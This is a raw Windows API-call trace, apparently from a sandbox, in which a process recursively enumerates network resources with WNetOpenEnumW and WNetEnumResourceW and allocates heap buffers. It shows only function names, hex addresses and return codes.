	[0263.762] WNetEnumResourceW (in: hEnum=0x67c518, lpcCount=0x371f4e4, lpBuffer=0x3588030, lpBufferSize=0x371f4d4 | out: lpcCount=0x371f4e4, lpBuffer=0x3588030, lpBufferSize=0x371f4d4) returned 0x0
	[0263.762] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x358c038
	[0263.762] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34e4070
	[0263.762] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3588030, lphEnum=0x371f49c | out: lphEnum=0x371f49c*=0x67c2b0) returned 0x0
	[0263.830] WNetEnumResourceW (in: hEnum=0x67c2b0, lpcCount=0x371f4a4, lpBuffer=0x358c038, lpBufferSize=0x371f494 | out: lpcCount=0x371f4a4, lpBuffer=0x358c038, lpBufferSize=0x371f494) returned 0x0
	[0263.830] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3590040
	[0263.831] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x34f4078
	[0263.831] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x358c038, lphEnum=0x371f45c | out: lphEnum=0x371f45c*=0x67c200) returned 0x0
	[0263.841] WNetEnumResourceW (in: hEnum=0x67c200, lpcCount=0x371f464, lpBuffer=0x3590040, lpBufferSize=0x371f454 | out: lpcCount=0x371f464, lpBuffer=0x3590040, lpBufferSize=0x371f454) returned 0x0
	[0263.841] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3504080
	[0263.841] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3508088
	[0263.841] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3590040, lphEnum=0x371f41c | out: lphEnum=0x371f41c*=0x67c570) returned 0x0
	[0263.852] WNetEnumResourceW (in: hEnum=0x67c570, lpcCount=0x371f424, lpBuffer=0x3504080, lpBufferSize=0x371f414 | out: lpcCount=0x371f424, lpBuffer=0x3504080, lpBufferSize=0x371f414) returned 0x0
	[0263.852] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3594048
	[0263.852] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3518090
	[0263.852] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3504080, lphEnum=0x371f3dc | out: lphEnum=0x371f3dc*=0x67c620) returned 0x0
	[0263.863] WNetEnumResourceW (in: hEnum=0x67c620, lpcCount=0x371f3e4, lpBuffer=0x3594048, lpBufferSize=0x371f3d4 | out: lpcCount=0x371f3e4, lpBuffer=0x3594048, lpBufferSize=0x371f3d4) returned 0x0
	[0263.863] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3598050
	[0263.864] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3528098
	[0263.864] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3594048, lphEnum=0x371f39c | out: lphEnum=0x371f39c*=0x67c0f8) returned 0x0
	[0263.884] WNetEnumResourceW (in: hEnum=0x67c0f8, lpcCount=0x371f3a4, lpBuffer=0x3598050, lpBufferSize=0x371f394 | out: lpcCount=0x371f3a4, lpBuffer=0x3598050, lpBufferSize=0x371f394) returned 0x0
	[0263.884] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x35380a0
	[0263.885] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4320048
	[0263.885] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3598050, lphEnum=0x371f35c | out: lphEnum=0x371f35c*=0x67c6d0) returned 0x0
	[0263.893] WNetEnumResourceW (in: hEnum=0x67c6d0, lpcCount=0x371f364, lpBuffer=0x35380a0, lpBufferSize=0x371f354 | out: lpcCount=0x371f364, lpBuffer=0x35380a0, lpBufferSize=0x371f354) returned 0x0
	[0263.893] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x353c0a8
	[0263.893] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4330050
	[0263.893] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x35380a0, lphEnum=0x371f31c | out: lphEnum=0x371f31c*=0x67be38) returned 0x0
	[0263.983] WNetEnumResourceW (in: hEnum=0x67be38, lpcCount=0x371f324, lpBuffer=0x353c0a8, lpBufferSize=0x371f314 | out: lpcCount=0x371f324, lpBuffer=0x353c0a8, lpBufferSize=0x371f314) returned 0x0
	[0263.983] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x4340080
	[0263.984] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4382008
	[0263.985] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x353c0a8, lphEnum=0x371f2dc | out: lphEnum=0x371f2dc*=0x67c150) returned 0x0
	[0264.028] WNetEnumResourceW (in: hEnum=0x67c150, lpcCount=0x371f2e4, lpBuffer=0x4340080, lpBufferSize=0x371f2d4 | out: lpcCount=0x371f2e4, lpBuffer=0x4340080, lpBufferSize=0x371f2d4) returned 0x0
	[0264.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43600c0
	[0264.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x4392010
	[0264.029] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x4340080, lphEnum=0x371f29c | out: lphEnum=0x371f29c*=0x67c728) returned 0x0
	[0264.035] WNetEnumResourceW (in: hEnum=0x67c728, lpcCount=0x371f2a4, lpBuffer=0x43600c0, lpBufferSize=0x371f294 | out: lpcCount=0x371f2a4, lpBuffer=0x43600c0, lpBufferSize=0x371f294) returned 0x0
	[0264.036] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43540a8
	[0264.036] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x43ec0d8
	[0264.036] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43600c0, lphEnum=0x371f25c | out: lphEnum=0x371f25c*=0x67bcd8) returned 0x0
	[0264.114] WNetEnumResourceW (in: hEnum=0x67bcd8, lpcCount=0x371f264, lpBuffer=0x43540a8, lpBufferSize=0x371f254 | out: lpcCount=0x371f264, lpBuffer=0x43540a8, lpBufferSize=0x371f254) returned 0x0
	[0264.115] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x434c098
	[0264.115] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x43fc0e0
	[0264.115] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43540a8, lphEnum=0x371f21c | out: lphEnum=0x371f21c*=0x67bd30) returned 0x0
	[0264.324] WNetEnumResourceW (in: hEnum=0x67bd30, lpcCount=0x371f224, lpBuffer=0x434c098, lpBufferSize=0x371f214 | out: lpcCount=0x371f224, lpBuffer=0x434c098, lpBufferSize=0x371f214) returned 0x0
	[0264.324] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43580b0
	[0264.324] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x440c0e8
	[0264.325] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x434c098, lphEnum=0x371f1dc | out: lphEnum=0x371f1dc*=0x67bee8) returned 0x0
	[0264.399] WNetEnumResourceW (in: hEnum=0x67bee8, lpcCount=0x371f1e4, lpBuffer=0x43580b0, lpBufferSize=0x371f1d4 | out: lpcCount=0x371f1e4, lpBuffer=0x43580b0, lpBufferSize=0x371f1d4) returned 0x0
	[0264.400] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x435c0b8
	[0264.400] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x441c0f0
	[0264.400] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43580b0, lphEnum=0x371f19c | out: lphEnum=0x371f19c*=0x67bd88) returned 0x0
	[0264.515] WNetEnumResourceW (in: hEnum=0x67bd88, lpcCount=0x371f1a4, lpBuffer=0x435c0b8, lpBufferSize=0x371f194 | out: lpcCount=0x371f1a4, lpBuffer=0x435c0b8, lpBufferSize=0x371f194) returned 0x0
	[0264.515] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43500a0
	[0264.515] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x442c0f8
	[0264.516] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x435c0b8, lphEnum=0x371f15c | out: lphEnum=0x371f15c*=0x67bde0) returned 0x0
	[0264.588] WNetEnumResourceW (in: hEnum=0x67bde0, lpcCount=0x371f164, lpBuffer=0x43500a0, lpBufferSize=0x371f154 | out: lpcCount=0x371f164, lpBuffer=0x43500a0, lpBufferSize=0x371f154) returned 0x0
	[0264.588] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x4348090
	[0264.588] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x443c100
	[0264.589] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43500a0, lphEnum=0x371f11c | out: lphEnum=0x371f11c*=0x67bf40) returned 0x0
	[0264.617] WNetEnumResourceW (in: hEnum=0x67bf40, lpcCount=0x371f124, lpBuffer=0x4348090, lpBufferSize=0x371f114 | out: lpcCount=0x371f124, lpBuffer=0x4348090, lpBufferSize=0x371f114) returned 0x0
	[0264.617] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x4344088
	[0264.617] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x444c108
	[0264.617] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x4348090, lphEnum=0x371f0dc | out: lphEnum=0x371f0dc*=0x67bf98) returned 0x0
	[0264.669] WNetEnumResourceW (in: hEnum=0x67bf98, lpcCount=0x371f0e4, lpBuffer=0x4344088, lpBufferSize=0x371f0d4 | out: lpcCount=0x371f0e4, lpBuffer=0x4344088, lpBufferSize=0x371f0d4) returned 0x0
	[0264.669] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x436c0d8
	[0264.669] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x445c110
	[0264.670] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x4344088, lphEnum=0x371f09c | out: lphEnum=0x371f09c*=0x67c938) returned 0x0
	[0264.761] WNetEnumResourceW (in: hEnum=0x67c938, lpcCount=0x371f0a4, lpBuffer=0x436c0d8, lpBufferSize=0x371f094 | out: lpcCount=0x371f0a4, lpBuffer=0x436c0d8, lpBufferSize=0x371f094) returned 0x0
	[0264.761] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43700e0
	[0264.761] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x446c118
	[0264.761] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x436c0d8, lphEnum=0x371f05c | out: lphEnum=0x371f05c*=0x67c7d8) returned 0x0
	[0264.799] WNetEnumResourceW (in: hEnum=0x67c7d8, lpcCount=0x371f064, lpBuffer=0x43700e0, lpBufferSize=0x371f054 | out: lpcCount=0x371f064, lpBuffer=0x43700e0, lpBufferSize=0x371f054) returned 0x0
	[0264.799] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43640c8
	[0264.799] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x447c120
	[0264.799] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43700e0, lphEnum=0x371f01c | out: lphEnum=0x371f01c*=0x67caf0) returned 0x0
	[0264.857] WNetEnumResourceW (in: hEnum=0x67caf0, lpcCount=0x371f024, lpBuffer=0x43640c8, lpBufferSize=0x371f014 | out: lpcCount=0x371f024, lpBuffer=0x43640c8, lpBufferSize=0x371f014) returned 0x0
	[0264.857] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43680d0
	[0264.857] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x448c128
	[0264.858] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43640c8, lphEnum=0x371efdc | out: lphEnum=0x371efdc*=0x67c9e8) returned 0x0
	[0264.867] WNetEnumResourceW (in: hEnum=0x67c9e8, lpcCount=0x371efe4, lpBuffer=0x43680d0, lpBufferSize=0x371efd4 | out: lpcCount=0x371efe4, lpBuffer=0x43680d0, lpBufferSize=0x371efd4) returned 0x0
	[0264.867] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43740e8
	[0264.867] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x449c130
	[0264.867] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43680d0, lphEnum=0x371ef9c | out: lphEnum=0x371ef9c*=0x67cba0) returned 0x0
	[0265.015] WNetEnumResourceW (in: hEnum=0x67cba0, lpcCount=0x371efa4, lpBuffer=0x43740e8, lpBufferSize=0x371ef94 | out: lpcCount=0x371efa4, lpBuffer=0x43740e8, lpBufferSize=0x371ef94) returned 0x0
	[0265.015] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x43780f0
	[0265.015] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x44ac138
	[0265.016] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43740e8, lphEnum=0x371ef5c | out: lphEnum=0x371ef5c*=0x67cbf8) returned 0x0
	[0265.093] WNetEnumResourceW (in: hEnum=0x67cbf8, lpcCount=0x371ef64, lpBuffer=0x43780f0, lpBufferSize=0x371ef54 | out: lpcCount=0x371ef64, lpBuffer=0x43780f0, lpBufferSize=0x371ef54) returned 0x0
	[0265.093] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x437c0f8
	[0265.093] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x44bc140
	[0265.094] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x43780f0, lphEnum=0x371ef1c | out: lphEnum=0x371ef1c*=0x67c990) returned 0x0
	[0265.104] WNetEnumResourceW (in: hEnum=0x67c990, lpcCount=0x371ef24, lpBuffer=0x437c0f8, lpBufferSize=0x371ef14 | out: lpcCount=0x371ef24, lpBuffer=0x437c0f8, lpBufferSize=0x371ef14) returned 0x0
	[0265.104] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44d4180
	[0265.105] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x450e008
	[0265.105] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x437c0f8, lphEnum=0x371eedc | out: lphEnum=0x371eedc*=0x67ca40) returned 0x0
	[0265.121] WNetEnumResourceW (in: hEnum=0x67ca40, lpcCount=0x371eee4, lpBuffer=0x44d4180, lpBufferSize=0x371eed4 | out: lpcCount=0x371eee4, lpBuffer=0x44d4180, lpBufferSize=0x371eed4) returned 0x0
	[0265.121] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44dc190
	[0265.121] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3720048
	[0265.122] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44d4180, lphEnum=0x371ee9c | out: lphEnum=0x371ee9c*=0x67ca98) returned 0x0
	[0265.146] WNetEnumResourceW (in: hEnum=0x67ca98, lpcCount=0x371eea4, lpBuffer=0x44dc190, lpBufferSize=0x371ee94 | out: lpcCount=0x371eea4, lpBuffer=0x44dc190, lpBufferSize=0x371ee94) returned 0x0
	[0265.146] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44e0198
	[0265.146] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3730050
	[0265.152] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44dc190, lphEnum=0x371ee5c | out: lphEnum=0x371ee5c*=0x67c830) returned 0x0
	[0265.667] WNetEnumResourceW (in: hEnum=0x67c830, lpcCount=0x371ee64, lpBuffer=0x44e0198, lpBufferSize=0x371ee54 | out: lpcCount=0x371ee64, lpBuffer=0x44e0198, lpBufferSize=0x371ee54) returned 0x0
	[0265.667] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44d0178
	[0265.667] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3740058
	[0265.667] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44e0198, lphEnum=0x371ee1c | out: lphEnum=0x371ee1c*=0x67c888) returned 0x0
	[0265.685] WNetEnumResourceW (in: hEnum=0x67c888, lpcCount=0x371ee24, lpBuffer=0x44d0178, lpBufferSize=0x371ee14 | out: lpcCount=0x371ee24, lpBuffer=0x44d0178, lpBufferSize=0x371ee14) returned 0x0
	[0265.685] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44e41a0
	[0265.685] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3750060
	[0265.685] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44d0178, lphEnum=0x371eddc | out: lphEnum=0x371eddc*=0x67cb48) returned 0x0
	[0265.692] WNetEnumResourceW (in: hEnum=0x67cb48, lpcCount=0x371ede4, lpBuffer=0x44e41a0, lpBufferSize=0x371edd4 | out: lpcCount=0x371ede4, lpBuffer=0x44e41a0, lpBufferSize=0x371edd4) returned 0x0
	[0265.693] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44e81a8
	[0265.693] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3760068
	[0265.693] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44e41a0, lphEnum=0x371ed9c | out: lphEnum=0x371ed9c*=0x67cc50) returned 0x0
	[0265.701] WNetEnumResourceW (in: hEnum=0x67cc50, lpcCount=0x371eda4, lpBuffer=0x44e81a8, lpBufferSize=0x371ed94 | out: lpcCount=0x371eda4, lpBuffer=0x44e81a8, lpBufferSize=0x371ed94) returned 0x0
	[0265.701] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44d8188
	[0265.701] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3770070
	[0265.701] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44e81a8, lphEnum=0x371ed5c | out: lphEnum=0x371ed5c*=0x67c8e0) returned 0x0
	[0265.793] WNetEnumResourceW (in: hEnum=0x67c8e0, lpcCount=0x371ed64, lpBuffer=0x44d8188, lpBufferSize=0x371ed54 | out: lpcCount=0x371ed64, lpBuffer=0x44d8188, lpBufferSize=0x371ed54) returned 0x0
	[0265.793] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44cc170
	[0265.793] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3780078
	[0265.793] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44d8188, lphEnum=0x371ed1c | out: lphEnum=0x371ed1c*=0x656708) returned 0x0
	[0265.800] WNetEnumResourceW (in: hEnum=0x656708, lpcCount=0x371ed24, lpBuffer=0x44cc170, lpBufferSize=0x371ed14 | out: lpcCount=0x371ed24, lpBuffer=0x44cc170, lpBufferSize=0x371ed14) returned 0x0
	[0265.800] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44fc1d0
	[0265.800] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3790080
	[0265.801] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44cc170, lphEnum=0x371ecdc | out: lphEnum=0x371ecdc*=0x656760) returned 0x0
	[0265.857] WNetEnumResourceW (in: hEnum=0x656760, lpcCount=0x371ece4, lpBuffer=0x44fc1d0, lpBufferSize=0x371ecd4 | out: lpcCount=0x371ece4, lpBuffer=0x44fc1d0, lpBufferSize=0x371ecd4) returned 0x0
	[0265.857] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x45001d8
	[0265.857] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37a0088
	[0265.857] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44fc1d0, lphEnum=0x371ec9c | out: lphEnum=0x371ec9c*=0x656600) returned 0x0
	[0265.863] WNetEnumResourceW (in: hEnum=0x656600, lpcCount=0x371eca4, lpBuffer=0x45001d8, lpBufferSize=0x371ec94 | out: lpcCount=0x371eca4, lpBuffer=0x45001d8, lpBufferSize=0x371ec94) returned 0x0
	[0265.863] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44f41c0
	[0265.863] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37b0090
	[0265.863] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x45001d8, lphEnum=0x371ec5c | out: lphEnum=0x371ec5c*=0x656c88) returned 0x0
	[0265.872] WNetEnumResourceW (in: hEnum=0x656c88, lpcCount=0x371ec64, lpBuffer=0x44f41c0, lpBufferSize=0x371ec54 | out: lpcCount=0x371ec64, lpBuffer=0x44f41c0, lpBufferSize=0x371ec54) returned 0x0
	[0265.872] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x45041e0
	[0265.872] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37c0098
	[0265.872] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44f41c0, lphEnum=0x371ec1c | out: lphEnum=0x371ec1c*=0x656ce0) returned 0x0
	[0265.885] WNetEnumResourceW (in: hEnum=0x656ce0, lpcCount=0x371ec24, lpBuffer=0x45041e0, lpBufferSize=0x371ec14 | out: lpcCount=0x371ec24, lpBuffer=0x45041e0, lpBufferSize=0x371ec14) returned 0x0
	[0265.885] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44f81c8
	[0265.885] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37d00a0
	[0265.885] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x45041e0, lphEnum=0x371ebdc | out: lphEnum=0x371ebdc*=0x6564a0) returned 0x0
	[0265.914] WNetEnumResourceW (in: hEnum=0x6564a0, lpcCount=0x371ebe4, lpBuffer=0x44f81c8, lpBufferSize=0x371ebd4 | out: lpcCount=0x371ebe4, lpBuffer=0x44f81c8, lpBufferSize=0x371ebd4) returned 0x0
	[0265.914] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x45081e8
	[0265.914] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37e00a8
	[0265.915] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44f81c8, lphEnum=0x371eb9c | out: lphEnum=0x371eb9c*=0x656550) returned 0x0
	[0265.923] WNetEnumResourceW (in: hEnum=0x656550, lpcCount=0x371eba4, lpBuffer=0x45081e8, lpBufferSize=0x371eb94 | out: lpcCount=0x371eba4, lpBuffer=0x45081e8, lpBufferSize=0x371eb94) returned 0x0
	[0265.923] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44ec1b0
	[0265.923] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x37f00b0
	[0265.924] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x45081e8, lphEnum=0x371eb5c | out: lphEnum=0x371eb5c*=0x656810) returned 0x0
	[0265.961] WNetEnumResourceW (in: hEnum=0x656810, lpcCount=0x371eb64, lpBuffer=0x44ec1b0, lpBufferSize=0x371eb54 | out: lpcCount=0x371eb64, lpBuffer=0x44ec1b0, lpBufferSize=0x371eb54) returned 0x0
	[0265.961] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x44f01b8
	[0265.961] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x38000b8
	[0265.962] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44ec1b0, lphEnum=0x371eb1c | out: lphEnum=0x371eb1c*=0x656658) returned 0x0
	[0265.992] WNetEnumResourceW (in: hEnum=0x656658, lpcCount=0x371eb24, lpBuffer=0x44f01b8, lpBufferSize=0x371eb14 | out: lpcCount=0x371eb24, lpBuffer=0x44f01b8, lpBufferSize=0x371eb14) returned 0x0
	[0265.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x38100e8
	[0265.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3852008
	[0265.994] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x44f01b8, lphEnum=0x371eadc | out: lphEnum=0x371eadc*=0x6566b0) returned 0x0
	[0266.036] WNetEnumResourceW (in: hEnum=0x6566b0, lpcCount=0x371eae4, lpBuffer=0x38100e8, lpBufferSize=0x371ead4 | out: lpcCount=0x371eae4, lpBuffer=0x38100e8, lpBufferSize=0x371ead4) returned 0x0
	[0266.036] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x38140f0
	[0266.036] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3862010
	[0266.037] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x38100e8, lphEnum=0x371ea9c | out: lphEnum=0x371ea9c*=0x656918) returned 0x0
	[0266.088] WNetEnumResourceW (in: hEnum=0x656918, lpcCount=0x371eaa4, lpBuffer=0x38140f0, lpBufferSize=0x371ea94 | out: lpcCount=0x371eaa4, lpBuffer=0x38140f0, lpBufferSize=0x371ea94) returned 0x0
	[0266.088] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3828118
	[0266.088] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3872018
	[0266.089] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x38140f0, lphEnum=0x371ea5c | out: lphEnum=0x371ea5c*=0x656970) returned 0x0
	[0266.095] WNetEnumResourceW (in: hEnum=0x656970, lpcCount=0x371ea64, lpBuffer=0x3828118, lpBufferSize=0x371ea54 | out: lpcCount=0x371ea64, lpBuffer=0x3828118, lpBufferSize=0x371ea54) returned 0x0
	[0266.095] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x3820108
	[0266.095] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3882020
	[0266.095] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x3828118, lphEnum=0x371ea1c | out: lphEnum=0x371ea1c*=0x64bab8) returned 0x0
	[0266.398] WNetEnumResourceW (in: hEnum=0x64bab8, lpcCount=0x371ea24, lpBuffer=0x3820108, lpBufferSize=0x371ea14 | out: lpcCount=0x371ea24, lpBuffer=0x3820108, lpBufferSize=0x371ea14) returned 0x0
	[0266.398] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4000) returned 0x382c120
